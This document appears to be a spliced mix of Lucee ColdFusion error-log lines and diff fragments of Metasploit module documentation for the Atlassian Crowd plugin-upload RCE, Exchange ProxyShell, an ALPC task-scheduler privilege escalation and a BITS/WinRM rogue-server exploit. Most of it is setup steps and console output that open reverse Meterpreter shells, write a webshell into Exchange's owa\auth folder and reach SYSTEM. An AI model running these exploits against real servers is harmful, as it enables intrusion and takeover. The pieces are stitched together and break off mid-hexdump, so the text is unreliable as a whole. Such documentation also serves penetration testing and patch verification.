"ERROR","http-nio-8888-exec-1","08/16/2021","11:55:02","controller","key [IMGSRC] doesn't exist;key [IMGSRC] doesn't exist;lucee.runtime.exp.ExpressionException: key [IMGSRC] doesn't exist
at lucee.runtime.type.util.StructSupport.invalidKey(StructSupport.java:67)
at lucee.runtime.type.StructImpl.get(StructImpl.java:139)
at imgprocess_cfm$cf.call(/admin/imgProcess.cfm:2)
at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:945)
at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:837)
at lucee.runtime.listener.ModernAppListener._onRequest(ModernAppListener.java:216)
at lucee.runtime.listener.MixedAppListener.onRequest(MixedAppListener.java:42)
at lucee.runtime.PageContextImpl.execute(PageContextImpl.java:2416)
at lucee.runtime.PageContextImpl._execute(PageContextImpl.java:2406)
at lucee.runtime.PageContextImpl.executeCFML(PageContextImpl.java:2381)
at lucee.runtime.engine.Request.exe(Request.java:43)
at lucee.runtime.engine.CFMLEngineImpl._service(CFMLEngineImpl.java:1170)
at lucee.runtime.engine.CFMLEngineImpl.serviceCFML(CFMLEngineImpl.java:1116)
at lucee.loader.engine.CFMLEngineWrapper.serviceCFML(CFMLEngineWrapper.java:97)
at lucee.loader.servlet.CFMLServlet.service(CFMLServlet.java:51)
..."
"ERROR","http-nio-8888-exec-2","08/16/2021","11:55:02","controller","Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.];Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.]
Can't create file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.];lucee.runtime.exp.ApplicationException: Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.]
at lucee.runtime.tag.FileTag.checkFile(FileTag.java:1174)
at lucee.runtime.tag.FileTag.actionWrite(FileTag.java:678)
at lucee.runtime.tag.FileTag.doEndTag(FileTag.java:452)
at imgprocess_cfm$cf.call(/admin/imgProcess.cfm:2)
at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:945)
at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:837)
at lucee.runtime.listener.ModernAppListener._onRequest(ModernAppListener.java:216)
at lucee.runtime.listener.MixedAppListener.onRequest(MixedAppListener.java:42)
at lucee.runtime.PageContextImpl.execute(PageContextImpl.java:2416)
at lucee.runtime.PageContextImpl._execute(PageContextImpl.java:2406)
at lucee.runtime.PageContextImpl.executeCFML(PageContextImpl.java:2381)
at lucee.runtime.engine.Request.exe(Request.java:43)
at lucee.runtime.engine.CFMLEngineImpl._service(CFMLEngineImpl.java:1170)
at lucee.runtime.engine.CFMLEngineImpl.serviceCFML(CFMLEngineImpl.java:1116)
at lucee.loader.engine.CFMLEngineWrapper.serviceCFML(CFMLEngineWrapper.java:97)
at lucee.loader.servlet.CFMLServlet.service(CFMLServlet.java:51)
..."
==> /opt/lucee/web/logs/exception.log <==
"Severity","ThreadID","Date","Time","Application","Message"
"ERROR","http-nio-8888-exec-1","08/16/2021","11:55:02","","key [IMGSRC] doesn't exist;key [IMGSRC] doesn't exist;lucee.runtime.exp.ExpressionException: key [IMGSRC] doesn't exist
at lucee.runtime.type.util.StructSupport.invalidKey(StructSupport.java:67)
at lucee.runtime.type.StructImpl.get(StructImpl.java:139)
at imgprocess_cfm$cf.call(/admin/imgProcess.cfm:2)
at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:945)
at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:837)
at lucee.runtime.listener.ModernAppListener._onRequest(ModernAppListener.java:216)
at lucee.runtime.listener.MixedAppListener.onRequest(MixedAppListener.java:42)
at lucee.runtime.PageContextImpl.execute(PageContextImpl.java:2416)
at lucee.runtime.PageContextImpl._execute(PageContextImpl.java:2406)
at lucee.runtime.PageContextImpl.executeCFML(PageContextImpl.java:2381)
at lucee.runtime.engine.Request.exe(Request.java:43)
at lucee.runtime.engine.CFMLEngineImpl._service(CFMLEngineImpl.java:1170)
at lucee.runtime.engine.CFMLEngineImpl.serviceCFML(CFMLEngineImpl.java:1116)
at lucee.loader.engine.CFMLEngineWrapper.serviceCFML(CFMLEngineWrapper.java:97)
at lucee.loader.servlet.CFMLServlet.service(CFMLServlet.java:51)
..."
"ERROR","http-nio-8888-exec-2","08/16/2021","11:55:02","","Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.];Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.]
Can't create file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.];lucee.runtime.exp.ApplicationException: Invalid file [/opt/lucee/web/temp/admin-ext-thumbnails/__/.]
at lucee.runtime.tag.FileTag.checkFile(FileTag.java:1174)
at lucee.runtime.tag.FileTag.actionWrite(FileTag.java:678)
at lucee.runtime.tag.FileTag.doEndTag(FileTag.java:452)
at imgprocess_cfm$cf.call(/admin/imgProcess.cfm:2)
at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:945)
at lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:837)
at lucee.runtime.listener.ModernAppListener._onRequest(ModernAppListener.java:216)
at lucee.runtime.listener.MixedAppListener.onRequest(MixedAppListener.java:42)
at lucee.runtime.PageContextImpl.execute(PageContextImpl.java:2416)
at lucee.runtime.PageContextImpl._execute(PageContextImpl.java:2406)
at lucee.runtime.PageContextImpl.executeCFML(PageContextImpl.java:2381)
at lucee.runtime.engine.Request.exe(Request.java:43)
at lucee.runtime.engine.CFMLEngineImpl._service(CFMLEngineImpl.java:1170)
at lucee.runtime.engine.CFMLEngineImpl.serviceCFML(CFMLEngineImpl.java:1116)
at lucee.loader.engine.CFMLEngineWrapper.serviceCFML(CFMLEngineWrapper.java:97)
at lucee.loader.servlet.CFMLServlet.service(CFMLServlet.java:51)
..."
```
@@ -0,0 +1,189 @@
## Vulnerable Application
Atlassian Crowd 2.1.x prior to 3.0.5, 3.1.x prior to 3.1.6, 3.2.x prior to 3.2.8, 3.3.x prior to 3.3.5, and 3.4.x prior to 3.4.4
had an incorrect installation of the pdkinstall development plugin, which allows unauthenticated remote attackers to upload and install
arbitrary plugins on vulnerable Atlassian Crowd and Atlassian Crowd Data Center installations via a POST request to the
`/<crowd install base>/admin/uploadplugin.action` page.
Successful exploitation results in remote code execution as the user running the Atlassian Crowd server.
To set up a vulnerable Windows 10 installation:
1. Grab a copy of Windows, any version will do but I tested on Windows 10.
1. Grab a copy of the 3.0.3 version of Atlassian Crowd from https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.0.3.zip
1. Grab a copy of the Java 8 JDK from https://download.java.net/openjdk/jdk8u41/ri/openjdk-8u41-b04-windows-i586-14_jan_2020.zip
1. Unzip the JDK to a target directory.
1. Edit `JAVA_HOME` environment variable and set it to the location where you extracted the Java 8 JDK.
1. Update the `PATH` environment variable to include a path to the same location as `JAVA_HOME`, but with `\bin` at the end of it.
1. Extract the Atlassian Crowd zip.
1. Edit the `atlassian-crowd-3.0.3\apache-tomcat\bin\catalina.bat` file and remove all the `-Djava.endorsed.dirs` options.
1. Run `start_crowd.bat`
1. After a few minutes browse to `http://localhost:8095/crowd/` and click the blue `Set Up Crowd` button to do a new install.
1. Use the default settings, including using the embedded database.
1. Browse to `http://localhost:8095/crowd/admin/uploadplugin.action`
1. *Verify* a 400 error message stating that the page requires a `POST` request is shown.
To set up a vulnerable 3.2.1 JDK 8 Docker image:
1. `sudo docker volume create --name crowdVolume`
1. `sudo docker run -v crowdVolumeddd:/var/atlassian/application-data/crowd --name="crowd3.2.1" -d -p 8095:8095 atlassian/crowd:3.2.1-jdk8`
1. Wait for install to finish then browse to `http://localhost:8095/`.
1. Click the blue `Set Up Crowd` button to do a new install.
1. If the Docker image crashes at this point, increase the amount of memory allocated towards it. Java requires a fair bit of memory.
1. Use the default settings, including using the embedded database.
1. Browse to `http://localhost:8095/crowd/admin/uploadplugin.action`
1. *Verify* a 400 error message stating that the page requires a `POST` request is shown.
## Verification Steps
1. Follow the steps in `Vulnerable Application`
1. `use exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce`
1. Set `RHOST` to the target IP
1. Set `LHOST` to your local IP
1. `exploit`
1. You should get a shell back as the user running the Atlassian Crowd application.
## Options
## Scenarios
### Atlassian Crowd 3.0.3 on Windows 10 20H2
```
msf6 > use exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set RHOSTS 192.168.224.204
RHOSTS => 192.168.224.204
msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set LHOST 192.168.224.128
LHOST => 192.168.224.128
msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > show options
Module options (exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.224.204 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8095 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /crowd/ yes The base URI to Atlassian Cloud
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java Universal
msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > exploit
[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sending a test request to try install an invalid plugin to see if the server is vulnerable...
[+] The target is vulnerable. Target responded that it couldn't install a invalid plugin, indicating its vulnerable!
[*] Generating a malicious JAR plugin...
[*] Uploading the malicious JAR plugin...
[*] Sending stage (58082 bytes) to 192.168.224.204
[*] Meterpreter session 1 opened (192.168.224.128:4444 -> 192.168.224.204:53871) at 2021-07-30 11:56:38 -0500
meterpreter > getuid
Server username: test
meterpreter > pwd
C:\Users\test\Desktop\atlassian-crowd-3.0.3
meterpreter >
```
### Atlassian Cloud 3.2.1 Linux Docker Image
```
msf6 > use exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > show options
Module options (exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8095 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /crowd/ yes The base URI to Atlassian Crowd
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java Universal
msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > check
[*] Sending a test request to try installing an invalid plugin to see if the server is vulnerable...
[+] 127.0.0.1:8095 - The target is vulnerable. Target responded that it couldn't install a invalid plugin, indicating it's vulnerable!
msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > exploit
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sending a test request to try installing an invalid plugin to see if the server is vulnerable...
[+] The target is vulnerable. Target responded that it couldn't install a invalid plugin, indicating it's vulnerable!
[*] Generating a malicious JAR plugin...
[*] Uploading the malicious JAR plugin...
[*] Sending stage (58082 bytes) to 172.18.0.2
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:39316) at 2021-08-02 10:56:47 -0500
meterpreter > sysinfo
Computer : 3fc6d7283aaa
OS : Linux 5.8.0-63-generic (amd64)
Meterpreter : java/linux
meterpreter > getuid
Server username: crowd
meterpreter > pwd
/opt/atlassian/crowd
meterpreter > ls
Listing: /opt/atlassian/crowd
=============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 1254 fil 2018-05-09 05:36:38 -0500 README.txt
40554/r-xr-xr-- 4096 dir 2021-07-13 01:52:10 -0500 apache-tomcat
100444/r--r--r-- 252 fil 2018-05-09 05:36:38 -0500 build.bat
100444/r--r--r-- 650 fil 2018-05-09 05:36:38 -0500 build.properties
100554/r-xr-xr-- 204 fil 2018-05-09 05:36:38 -0500 build.sh
100444/r--r--r-- 2847 fil 2018-05-09 05:36:38 -0500 build.xml
40554/r-xr-xr-- 4096 dir 2018-05-09 06:01:28 -0500 client
40554/r-xr-xr-- 4096 dir 2021-07-13 01:52:13 -0500 crowd-openidclient-webapp
40554/r-xr-xr-- 4096 dir 2021-07-13 01:52:14 -0500 crowd-openidserver-webapp
40554/r-xr-xr-- 4096 dir 2021-07-13 01:52:13 -0500 crowd-webapp
40776/rwxrwxrw- 4096 dir 2021-07-30 17:03:57 -0500 database
40554/r-xr-xr-- 4096 dir 2021-07-13 01:52:09 -0500 etc
40554/r-xr-xr-- 32768 dir 2021-07-13 01:52:15 -0500 licenses
100444/r--r--r-- 407 fil 2018-05-09 05:36:38 -0500 start_crowd.bat
100554/r-xr-xr-- 324 fil 2018-05-09 05:36:38 -0500 start_crowd.sh
100444/r--r--r-- 98 fil 2018-05-09 05:36:38 -0500 stop_crowd.bat
100554/r-xr-xr-- 71 fil 2018-05-09 05:36:38 -0500 stop_crowd.sh
meterpreter >
```
@@ -0,0 +1,120 @@
## Vulnerable Application
This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication
(CVE-2021-31207), impersonate an arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve
the RCE (Remote Code Execution).
By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.
This vulnerability affects:
* Exchange 2013 CU23 < 15.0.1497.15
* Exchange 2016 CU19 < 15.1.2176.12
* Exchange 2016 CU20 < 15.1.2242.5
* Exchange 2019 CU8 < 15.2.792.13
* Exchange 2019 CU9 < 15.2.858.9
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: April 13, 2021 (KB5001779)][1]*
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/windows/http/exchange_proxyshell_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set EMAIL [EMAIL ADDRESS]`
5. Do: `run`
## Options
### EMAIL
A known email address for this organization. This email address must be to a user with privileges to access the Exchange
Management shell.
### UseAlternatePath
Use the IIS root dir as alternate path. Default: `false`
## Advanced Options
### BackendServerName
Force the name of the backend Exchange server targeted. Default: Automatic
If not set, the automatic method will use an RPC call to detect the backend server FQDN. This is required because the
kerberos-authenticated SSRF can only be sent when the FQDN is known.
### ExchangeBasePath
The base path where Exchange is installed. Default: `C:\Program Files\Microsoft\Exchange Server\V15`
### ExchangeWritePath
The path where you want to write the backdoor. Default: `owa\auth`
You can for example, set it to: `ecp\auth`
### IISBasePath
The base path where IIS wwwroot directory is. Default: `C:\inetpub\wwwroot`
### IISWritePath
The path where you want to write the backdoor. Default: `aspnet_client`
### MapiClientApp
This is MAPI client version sent in the request.
## Scenarios
### Exchange 2016 CU 19 on Server 2016
```
msf6 > use exploit/windows/http/exchange_proxyshell_rce
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_proxyshell_rce) > set RHOSTS 192.168.159.42
RHOSTS => 192.168.159.42
msf6 exploit(windows/http/exchange_proxyshell_rce) > set EMAIL smcintyre@exchg.lan
EMAIL => smcintyre@exchg.lan
msf6 exploit(windows/http/exchange_proxyshell_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_proxyshell_rce) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/http/exchange_proxyshell_rce) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Attempt to exploit for CVE-2021-34473
[*] Retrieving backend FQDN over RPC request
[*] Internal server name: win-bpid95acq7e.exchg.lan
[*] Sending autodiscover request
[*] Server: cccb94e0-3175-4ec9-8e8a-62679d874384@exchg.lan
[*] LegacyDN: /o=Target Org/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=508ce51c27b544b38c33df31f99d3118-smcintyre
[*] Sending mapi request
[*] SID: S-1-5-21-2800676829-2777257591-1686523126-1000 (smcintyre@exchg.lan)
[*] Assigning the 'Mailbox Import Export' role
[*] Writing to: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\UhonV8RZ.aspx
[*] Waiting for the export request to complete...
[+] The mailbox export request has completed
[*] Triggering the payload
[*] Sending stage (200262 bytes) to 192.168.159.42
[+] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\UhonV8RZ.aspx
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.42:6787) at 2021-08-17 17:32:26 -0400
[*] Removing the mailbox export request
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-BPID95ACQ7E
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : EXCHG
Logged On Users : 6
Meterpreter : x64/windows
meterpreter >
```
[1]: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-april-13-2021-kb5001779-8e08f3b3-fc7b-466c-bbb7-5d5aa16ef064
@@ -30,7 +30,7 @@ Affected Windows OS versions and related patch details can be found in the [Micr
msf5 > use exploit/windows/local/alpc_taskscheduler
msf5 exploit(windows/local/alpc_taskscheduler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/alpc_taskscheduler) > set lhost 172.22.222.136
msf5 exploit(windows/local/alpc_taskscheduler) > set lhost 172.22.222.136
lhost => 172.22.222.136
msf5 exploit(windows/local/alpc_taskscheduler) > sessions
@@ -47,17 +47,16 @@ session => 1
msf5 exploit(windows/local/alpc_taskscheduler) > exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] Started reverse TCP handler on 172.22.222.136:4444
[-] Exploit aborted due to failure: none: Only meterpreter sessions are supported
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/alpc_taskscheduler) > set session 2
session => 2
msf5 exploit(windows/local/alpc_taskscheduler) > exploit
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] Checking target...
[*] Target Looks Good... trying to start notepad.exe
[*] Launching notepad.exe to host the exploit...
[*] Target looks good... attempting the LPE exploit
[+] Process 6140 launched.
[*] Writing payload dll into process 6140 memory
[*] Reflectively injecting the exploit DLL into 6140...
@@ -81,7 +80,7 @@ msf5 exploit(windows/local/alpc_taskscheduler) > set session 3
session => 3
msf5 exploit(windows/local/alpc_taskscheduler) > exploit
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] Checking target...
[-] Exploit aborted due to failure: none: Session is already elevated
[*] Exploit completed, but no session was created.
@@ -94,7 +94,7 @@ meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
## Module Description
This module exploits BITS behavior which tries to connect to the local Windows Remote Management server (WinRM) every times it starts.
@@ -132,127 +132,127 @@ You may want to debug or reverse engineer this exploit. You need first to compil
Then, when launching the exploit, you can get runtime debug messages. Here are complete debug messages during a successful exploitation:
```
1 0.00000000 [7188] [dllmain] Entry point.
2 0.00020640 [7188] [extract_metasploit_data] WinRM port: 5985
3 0.00035820 [7188] [extract_metasploit_data] Process to launch: notepad.exe
4 0.00039800 [7188] [extract_metasploit_data] shellcode length: 626
5 0.00055150 [7188] [createProcessMethod] Attempting to enable SE_IMPERSONATE_NAME privilege...
6 0.00128340 [7188] [EnablePriv] SUCCESS: Privilege enabled.
7 0.00360550 [7188] [startListener] SUCCESS: WSAStartup initialized
8 0.00363250 [7188] [startListener] SUCCESS: getaddrinfo initialized. host:127.0.0.1, port: 5985
9 0.00439900 [7188] [startListener] SUCCESS: socket created.
10 0.00447850 [7188] [startListener] SUCCESS: socket bound.
11 0.00449390 [7188] [startListener] SUCCESS: socket is now listening for incoming connexions.
12 1.00682116 [7188] [isBitsRunning] Checking if BITS is running (It should not)...
13 1.00756419 [7188] [isBitsRunning] SUCCESS: BITS is not running.
14 1.00760865 [7188] [triggerBits] Attempting to start BITS...
15 1.27990735 [7188] [startListener] SUCCESS: socket accept stage successful.
16 1.27999246 [7188] [handleListener] Rogue WinRM service now listening for connection on port 5985.
17 1.28006208 [7188] [handleNTLMPConnection] Received http negotiate request.
18 1.28009701 [7188] [hexDump] Hexdump of packet:
19 1.28023875 [7188] [hexDump] 0000 50 4f 53 54 20 2f 77 73 6d 61 6e 20 48 54 54 50 POST /wsman HTTP
20 1.28033876 [7188] [hexDump] 0010 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e /1.1..Connection
21 1.28043485 [7188] [hexDump] 0020 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f : Keep-Alive..Co
22 1.28052747 [7188] [hexDump] 0030 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c ntent-Type: appl
23 1.28062499 [7188] [hexDump] 0040 69 63 61 74 69 6f 6e 2f 73 6f 61 70 2b 78 6d 6c ication/soap+xml
24 1.28071892 [7188] [hexDump] 0050 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 31 36 0d ;charset=UTF-16.
25 1.28080654 [7188] [hexDump] 0060 0a 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3a 20 .Authorization:
26 1.28090227 [7188] [hexDump] 0070 4e 65 67 6f 74 69 61 74 65 20 59 47 77 47 42 69 Negotiate YGwGBi
27 1.28100324 [7188] [hexDump] 0080 73 47 41 51 55 46 41 71 42 69 4d 47 43 67 47 6a sGAQUFAqBiMGCgGj
28 1.28108621 [7188] [hexDump] 0090 41 59 42 67 6f 72 42 67 45 45 41 59 49 33 41 67 AYBgorBgEEAYI3Ag
29 1.28115559 [7188] [hexDump] 00a0 49 4b 42 67 6f 72 42 67 45 45 41 59 49 33 41 67 IKBgorBgEEAYI3Ag
30 1.28125131 [7188] [hexDump] 00b0 49 65 6f 6b 49 45 51 45 35 55 54 45 31 54 55 31 IeokIEQE5UTE1TU1
31 1.28134823 [7188] [hexDump] 00c0 41 41 41 51 41 41 41 4c 65 79 43 4f 49 4a 41 41 AAAQAAALeyCOIJAA
32 1.28144515 [7188] [hexDump] 00d0 6b 41 4e 77 41 41 41 41 38 41 44 77 41 6f 41 41 kANwAAAA8ADwAoAA
33 1.28154385 [7188] [hexDump] 00e0 41 41 43 67 43 36 52 77 41 41 41 41 39 45 52 56 AACgC6RwAAAA9ERV
34 1.28162599 [7188] [hexDump] 00f0 4e 4c 56 45 39 51 4c 54 56 57 51 6c 56 56 52 54 NLVE9QLTVWQlVVRT
35 1.28167975 [7188] [hexDump] 0100 6c 58 54 31 4a 4c 52 31 4a 50 56 56 41 3d 0d 0a lXT1JLR1JPVVA=..
36 1.28172791 [7188] [hexDump] 0110 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 User-Agent: Micr
37 1.28177559 [7188] [hexDump] 0120 6f 73 6f 66 74 20 57 69 6e 52 4d 20 43 6c 69 65 osoft WinRM Clie
38 1.28182483 [7188] [hexDump] 0130 6e 74 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 nt..Content-Leng
39 1.28187311 [7188] [hexDump] 0140 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6c 6f 63 th: 0..Host: loc
40 1.28192329 [7188] [hexDump] 0150 61 6c 68 6f 73 74 3a 35 39 38 35 0d 0a 0d 0a alhost:5985....
41 1.28192329 [7188]
42 1.28198123 [7188] [processNtlmBytes] -- handleType1 start --
43 1.28448606 [7188] [HandleType1] Result of AcceptSecurityContext() = status: 0x90312--
44 1.28453183 [7188] [processNtlmBytes] -- handleType1 end --
45 1.28457534 [7188] [forge_ntlmssp_challenge_responses] Forging http response type2 packet...
46 1.28464592 [7188] [hexDump] Hexdump of packet:
47 1.28471112 [7188] [hexDump] 0000 48 54 54 50 2f 31 2e 31 20 34 30 31 20 0d 0a 57 HTTP/1.1 401 ..W
48 1.28477061 [7188] [hexDump] 0010 57 57 2d 41 75 74 68 65 6e 74 69 63 61 74 65 3a WW-Authenticate:
49 1.28485692 [7188] [hexDump] 0020 20 4e 65 67 6f 74 69 61 74 65 20 6f 59 49 42 43 Negotiate oYIBC
50 1.28487158 [7188] [hexDump] 0030 7a 43 43 41 51 65 67 41 77 6f 42 41 61 45 4d 42 zCCAQegAwoBAaEMB
51 1.28495753 [7188] [hexDump] 0040 67 6f 72 42 67 45 45 41 59 49 33 41 67 49 4b 6f gorBgEEAYI3AgIKo
52 1.28498507 [7188] [hexDump] 0050 6f 48 78 42 49 48 75 54 6c 52 4d 54 56 4e 54 55 oHxBIHuTlRMTVNTU
53 1.28507006 [7188] [hexDump] 0060 41 41 43 41 41 41 41 48 67 41 65 41 44 67 41 41 AACAAAAHgAeADgAA
54 1.28509665 [7188] [hexDump] 0070 41 41 31 77 6f 72 69 6f 34 36 75 39 5a 6c 55 6e AA1worio46u9ZlUn
55 1.28518021 [7188] [hexDump] 0080 6f 63 4c 41 41 45 41 41 41 41 41 41 4a 67 41 6d ocLAAEAAAAAAJgAm
56 1.28520679 [7188] [hexDump] 0090 41 42 57 41 41 41 41 43 67 43 36 52 77 41 41 41 ABWAAAACgC6RwAAA
57 1.28528929 [7188] [hexDump] 00a0 41 39 45 41 45 55 41 55 77 42 4c 41 46 51 41 54 A9EAEUAUwBLAFQAT
58 1.28532350 [7188] [hexDump] 00b0 77 42 51 41 43 30 41 4e 51 42 57 41 45 49 41 56 wBQAC0ANQBWAEIAV
59 1.28540862 [7188] [hexDump] 00c0 51 42 56 41 45 55 41 4f 51 41 43 41 42 34 41 52 QBVAEUAOQACAB4AR
60 1.28544271 [7188] [hexDump] 00d0 41 42 46 41 46 4d 41 53 77 42 55 41 45 38 41 55 ABFAFMASwBUAE8AU
61 1.28552401 [7188] [hexDump] 00e0 41 41 74 41 44 55 41 56 67 42 43 41 46 55 41 56 AAtADUAVgBCAFUAV
62 1.28554428 [7188] [hexDump] 00f0 51 42 46 41 44 6b 41 41 51 41 65 41 45 51 41 52 QBFADkAAQAeAEQAR
63 1.28563356 [7188] [hexDump] 0100 51 42 54 41 45 73 41 56 41 42 50 41 46 41 41 4c QBTAEsAVABPAFAAL
64 1.28566802 [7188] [hexDump] 0110 51 41 31 41 46 59 41 51 67 42 56 41 46 55 41 52 QA1AFYAQgBVAFUAR
65 1.28575194 [7188] [hexDump] 0120 51 41 35 41 41 51 41 48 67 42 45 41 45 55 41 55 QA5AAQAHgBEAEUAU
66 1.28578627 [7188] [hexDump] 0130 77 42 4c 41 46 51 41 54 77 42 51 41 43 30 41 4e wBLAFQATwBQAC0AN
67 1.28586805 [7188] [hexDump] 0140 51 42 57 41 45 49 41 56 51 42 56 41 45 55 41 4f QBWAEIAVQBVAEUAO
68 1.28590250 [7188] [hexDump] 0150 51 41 44 41 42 34 41 52 41 42 46 41 46 4d 41 53 QADAB4ARABFAFMAS
69 1.28598428 [7188] [hexDump] 0160 77 42 55 41 45 38 41 55 41 41 74 41 44 55 41 56 wBUAE8AUAAtADUAV
70 1.28601146 [7188] [hexDump] 0170 67 42 43 41 46 55 41 56 51 42 46 41 44 6b 41 42 gBCAFUAVQBFADkAB
71 1.28608716 [7188] [hexDump] 0180 77 41 49 41 47 73 53 5a 71 37 62 7a 74 59 42 41 wAIAGsSZq7bztYBA
72 1.28613508 [7188] [hexDump] 0190 41 41 41 41 41 3d 3d 0d 0a 53 65 72 76 65 72 3a AAAAA==..Server:
73 1.28618777 [7188] [hexDump] 01a0 20 4d 69 63 72 6f 73 6f 66 74 2d 48 54 54 50 41 Microsoft-HTTPA
74 1.28620350 [7188] [hexDump] 01b0 50 49 2f 32 2e 30 0d 0a 43 6f 6e 74 65 6e 74 2d PI/2.0..Content-
75 1.28625381 [7188] [hexDump] 01c0 4c 65 6e 67 74 68 3a 20 30 0d 0a 0d 0a 00 00 Length: 0......
76 1.28625381 [7188]
77 1.28628480 [7188] [handleNTLMPConnection] Sending the 401 http response with ntlm type 2 challenge...
78 1.28635943 [7188] [handleNTLMPConnection] 401 http response sent.
79 1.28725624 [7188] [handleNTLMPConnection] SUCCESS: Received http packet with ntlm type3 response.
80 1.28733253 [7188] [hexDump] Hexdump of packet:
81 1.28734791 [7188] [hexDump] 0000 50 4f 53 54 20 2f 77 73 6d 61 6e 20 48 54 54 50 POST /wsman HTTP
82 1.28743696 [7188] [hexDump] 0010 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e /1.1..Connection
